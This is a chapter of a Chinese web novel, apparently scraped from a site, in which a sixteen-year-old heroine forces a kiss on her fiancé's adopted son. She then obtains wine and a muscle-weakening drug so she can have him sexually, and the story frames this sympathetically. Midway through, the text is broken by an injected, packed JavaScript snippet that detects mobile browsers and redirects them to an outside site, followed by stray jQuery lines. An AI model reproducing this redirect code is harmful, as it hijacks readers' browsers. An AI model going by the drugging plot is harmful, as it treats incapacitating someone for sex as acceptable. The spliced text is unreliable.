闻言,邬涟有些疑惑地看了她一眼。
他是担心她不错,但他从未说过,她又如何得知。
还未等他想明白这茬,她坐在了他的身侧,视线落到他缠着纱布的后背,隐约透着丝丝血迹。
果然伤得很重,长安没骗她,思及此,她说,“你受了三十六鞭,是不是很疼?”
疼吗。
其实还好,这样的伤势他已经记不清自己有过多少次了。
于是他也认真回答,“不算很疼。”
她噤了声,目光再度落到伤处。
整个后背都裹满了纱布,听长安说那鞭子有倒刺,可想而知每一鞭下去都将会带起翻飞的血肉。
“怎么会不疼呢。”她喃喃着,绕到他身前,双手环过他的脖颈,拥抱住了他的脑袋。
邬涟整个人僵住了。
她不爱熏香,是以身上的味道不浓烈,浅浅的馨香,是独属于她自己的味道。此刻他整个脑袋被她搂在怀里,那股香让他此刻本就不解的大脑更难以思考。
他绷着唇不敢动作,因为只要一开口,便会不可避免地触碰到她的......
他太清楚那是什么了。
邬涟睫毛颤了颤,试图用双手推开她,但因背上的伤,导致他不敢过于用力。
“你松开我,我们这样,于理不合。”
有些闷的声音从她胸下传来,叶冬知松了手,俯身看他。
“大公子,我有个办法,能让你不那么疼,你要试试吗?”
她笑了一下,明明是很寻常的话,却像是带着钩子。那双眼在看他时,也绽放出无边魅意。
“什么方法?”在她那样的视线里,他不由得问。
话音落下,她瞬间凑近,灼热的气息先一步落在他的面上。
意识到她想做什么的刹那,她的唇贴上了他的。
邬涟惊惶地往后退,她便穷追不舍。他退一步,她追一步,直到他的背贴上了墙,细密的刺痛从身后传来,他再避无可避。
他偏开头,让她的吻落了空,语气尚能自持,“义父已经回了府,你还想怎样?你我都已受到重罚,还嫌不够吗?”
“不够。”她丝毫没理会他的慌乱和愠怒,只分神了刹那,便用一只手擒住他的下巴,逼得他不得不抬起头。
两处温热相交,她尤嫌不足,便伸了舌尖,在他唇边舔舐片刻后,尝试撬开他的唇齿。
邬涟显然没有任何经验,她能感觉到他的身体僵硬无比,呼吸沉重急促。
她往前倾了倾,忽然被咬了一口。
“够了,到此为止吧。”
他语气冰冷地躲开她,漂亮的唇殷红,上面染着她的血。
叶冬知不忿地盯着他,还想继续,被他一只手握着肩膀,生生拦住了。
“你非要陷彼此于不可挽回的地步吗?”
“现在收手还来得及,事情尚有转圜。”
哪有什么转圜,那是对他而言,对她自己来说,到这一步,早就没有任何退路,她唯一的机会便只有一搏。
她垂眸看着他的唇,一只手掰开他的手,随即再度倾身上去。
见她似乎是冥顽不灵,邬涟也有些恼了,不顾自己背后的伤,将她两只手剪在一起,迫使她动弹不得,另一手擦掉唇上的血迹。
眼见被制止了动作,叶冬知愣了一瞬,眼尾泛起了红,“你不喜欢我吗?你明明比你表现出来的更喜欢我。”
要不是他有私心,哪能一次次纵容她对他做出许多越矩的事,如今细想起来,过往处处都有迹可循。
“没有。”
他眼神认真地看着她,“从来都没有,如果是我做了什么让你误会,我向你赔罪。”
“你骗人!”她没料到现在对方都不敢承认,只得不断用事实质问他,“上次你中了药,对我情难自持,一直抱着我不撒手,这也是假的吗?”
“那是媚药,中药之人会丧失理智,我也不例外。”他依旧否认。
“那你见裴砚送我回来,便醋意大发,要我不准再与裴砚出去,这难道也是媚药?”
她言辞激烈,说话时语气中已有几分讽刺。
“你是义父的未婚妻,擅自与外男出去,这不合规矩。”
他仍道。
“规矩,又是规矩!你敢对天发誓说自己对我从来没有一丝一毫念想吗,你就真的要眼睁睁看着我嫁给你义父吗?”
她红着眼,胸膛上下起伏,竭力不让眼泪流出来,“你甘心吗?邬涟!”
他看着他,忽而噤了声。
她笑起来,在灯下恍若快枯萎的昙花,美艳而颓败,仿佛过了今晚,她就会消散。
“你说话啊,怎么,不敢承认了?”
“你明知道我一点都不想嫁给你义父,你一直都知道我喜欢你啊。”
即便已经在受罚时下了决心,但此刻仍然会觉得难受。
他望着她,她仿佛真的很伤心,眉间满是哀凄,眼神也失望不已。
半晌,他推开她,从榻上下地,后背的纱布渗出了血迹。
随即他打开门,“过往所有都只是一场意外,叶小姐,我对你并无非分之想,从始至终都没有。”
“回去吧,今夜之事我不会告诉任何人。”
叶冬知还保持着原来的姿势,她及腰的青丝垂着,从门口灌进来的风,燥热,不能使她的心平静分毫。
但她还是说,“好。”
语罢,她下了榻,自他面前走过,未再将目光分给他分毫。
看着她逐渐远去的背影,邬涟闭了闭眼。
没关系的,她会明白的。
她才十六岁,太年轻,即便对他有别样的心思,在成婚后很快就会消散殆尽。
回去的路如来时一般寂静无人,叶冬知回了祠堂,神色幽暗。
在去之前,她就已料到邬涟的态度,毕竟以他的性子生生受了三十多鞭,如果不是心甘情愿,旁人奈何不了他。
但终究还是有些失落,她都已做到如此地步,他仍旧油盐不进。
既如此,就别怪她用些别的手段了。
左右她攻略失败,不过一个死字,就算做到极致也无法挽回,死之前,还能用用他的身子,那也不算太亏。
*
之后,阿蔷照常来给她送饭,用过膳后,她说,“你下次将我房中的那壶酒带来,对了,再去买一些软筋散来。”
阿蔷惊讶不已,“小姐,你要这些做什么?”
“我自有我的用处,你只管与我取来。”
要说这府中谁最信得过,便是阿蔷。阿蔷是原身还在叶府时的丫鬟,自她六岁起便陪着她,如今已有十个年头。
小丫头无父无母,是原身在她流落街头时救了她,才不至于让她落个被饿死的下场。
虽想不出叶冬知到底要拿来干什么,阿蔷也未多问,暗自记下后,便提着食盒离开了。
被关在祠堂里的日子难熬,也很无聊。
第四天的时候,邬镇庭来看她。
那时正是晌午,外面艳阳高照,随着他的动作,祠堂门被打开时卷起一股热浪。
这股热浪很快就消散在阴冷的祠堂里。
男人沉重稳健的脚步声响彻在寂静空旷的空间里。
叶冬知背对着祠堂门,跪在蒲团之上。
也许是因为几日没见,邬镇庭睨着她单薄的背影,好像真瘦了许多。
“反省得如何了?”
他问,厚重磁性的声音彷如实质一般撞击在四周,回荡起阵阵回音。
面前的女子没应,只是闻言微微侧了侧头,祠堂的窗和寻常的窗不一样,小了很多,也更窄。
一道落在窗户上的光只能落进几缕,便无法再进分毫,那几缕的光刚好照在她偏头时的脸上。
照得她本就白皙的脸看起来有些瘆人的惨白,脸颊隐在青丝中,显得死气沉沉。
她无力地哑着嗓子叫他,“侯爷。”
“嗯?”他回。
似乎是因为她这幅残败的样子取悦了他,让他生出许多掌控的快感。
“看样子你倒是知道错了,不过既说了是七日那便一日都不能少,我待会让人送点东西过来,再有三日,你便可嫁给本侯,成为这永定侯府的女主人。”
“若是一开始你就听话些,便不会受这些苦了,知道吗?”
他说着,语气放柔了些,眼神却如饿狼紧紧锁着她。
无妨,再等上几日而已,届时他要好好欣赏这朵娇嫩的花如何在他手中绽放。
“是。”
她有气无力应着,直到重新听到关门声,她立马换掉那副恭敬软弱的神色。
真恶心啊。
她起身,眯起眼,面无表情地看了看门口,然后掏出那床被子,躺了上去。
第五日的晚上,阿蔷如约给她带来了她想要的东西。
她掀起盖子闻了闻,是仙人醉,刚入口时尚不觉得辣,也不觉得有多少酒意,然一炷香后,酒劲上来,饮酒的人便会觉得有些醉。
不是很烈的酒,但对于邬涟来说足够了。
他本就很少饮酒,想必酒量应当很差。
入了夜,她将一张细软的布条给了阿蔷,让她拿给邬涟,并于明夜,让长安想办法为她准备一桶温水。
布条是从她的肚兜撕下来的,字是取的未燃尽的香写的。
嘱咐完这一切,她的心反而静了下来。
过往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525180|203452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
攻略邬涟的过程中,她总是被动的,要一次次去猜他的心思,不断去吸引他的注意,稍有不慎便会被系统惩罚。
她不知道他在想什么,不知道自己还得保持那样的日子多久。
好在,明日,所有的一切都会有一个结果,一个答案。
越发临近被放出祠堂的那天,每日定时来看守她的老嬷嬷也越发松散,态度也比之前好不少。
这群人都是人精,见风使舵的本事炉火纯青,发现第四天的时候邬镇庭给她送了吃的,便立马猜到侯爷并不真正想要她死。
只是想在婚前磨磨她的性子,毕竟,往后他也许还要继续征战沙场,若是留一个不安分的年轻妻子在府中,保不齐会发生什么事。
更何况,大公子还那般出色,出色到就算是年轻时候的侯爷,也不能与之相提并论。
祠堂与府内其他地方几乎是两个地方。
邬镇庭吩咐下去待叶冬知出来,便要举行大婚,府内已经开始筹备二人的婚礼。
因着有喜事,府内的下人都领到了当月两倍的月例,阖府上下,喜气洋洋。
唯有玉笙居并不如此。
邬涟坐在书案前,桌上还摊着许多待处理的文书。
他垂眸,神色飘忽。
长安站在一旁,将他的异常都看在眼里。
这几日过去,公子的伤好了不少,但人却越发沉默寡言。
这批文书自早上到现在,也没见公子批完几本。
院外有两个小厮,正拿着两段红绸要绑在玉笙居的廊下。
长安看着,那红绸在烈日下显得越发刺目,他不动声色去看公子的神色,见公子正越过打开的窗,静静盯着那红绸。
他心道不好,忙朝门外走去,对那两个小厮道,“公子不爱这样鲜艳的颜色,咱们院子里就不挂了。”
小厮为难,“是侯爷吩咐的,称要将府中每处院子都挂上这红绸才喜庆呢,小的们也是按规矩办事。”
长安掏出两粒银子,塞到两人手中,“若是问起来便说是被风吹走了,左右这儿平日也少有人来。”
见此,两人也不好推辞,既能白得银子又不用干活的好事,他们当然乐意,便慌忙接过银子,连声应好。
打发走两人后,长安将怀里包着的布条拿出来,这是昨夜阿蔷交给他的,说是要一定交到公子手中。
他走近书房,将那团东西搁在他书案上,“叶小姐托我给您的。”
邬涟提笔的手顿了一下,很快移开视线,“她如今与我已毫无干系,东西拿去扔了。”
长安哪能不知他的心思。
公子越是这样表现得不在意,这样冷漠,便说明心里越发放不下去。
若是他真听了将东西拿去扔了,那才真有他好果子吃。
思及此,他劝道,“叶小姐难得给您捎个东西,您就看看,说不一定这是最后一次了,往后只怕是想说,也没了机会。”
他知道公子在意什么,所以在他说完后,他见公子迟疑了一下,还是拿起了那团东西。
最外面是一块手帕,很简单,用料也一般,想必是阿蔷特意拿来包着的,等打开这层手帕,露出里面鹅黄色的布料。
那布料柔软丝滑,触感有如女子肌肤。
不知想到了什么,邬涟忽然将那布条捏在手心,对长安道,“你出去。”
长安瘪嘴,知公子心绪不宁,便识趣地退了出去。
不就是一块布嘛,上面的字他看不得,这块布也看不得了?
等长安走后,邬涟将手心摊开,如果他没有记错,这块布,应当是她的.....小衣。
他有好几次见过她穿这个颜色。
忽而,他又觉得手心有些烫,他压下思绪,将布条展开。
上面的话很简单——
今夜子时,祠堂见,等你。
他在打开布条前想过很多种可能,猜测过她也许想让他助她逃出去,又或者是其他的请求。
但没想到,只是一个这么简单的要求。
可即便这么简单,他也不能答应她。
前几日夜里的事,那是他能容忍她与自己的极限,他在暗里想过,把那当做最后一次与她的见面。
往后,他断不会再迈出一步。
他打定主意,将布条搁在一边,提笔继续批阅公文。
然片刻之后,他发现那布条似乎背面还有一行小字。
他翻过来,看见她写道——
最后一次,往后我不再纠缠于你,说到做到。
他凝眸沉思半晌。
罢了,既然她都这样说了,他有何理由拒绝。
那日见她心有戚戚,不如再见一次,彻底死心就好。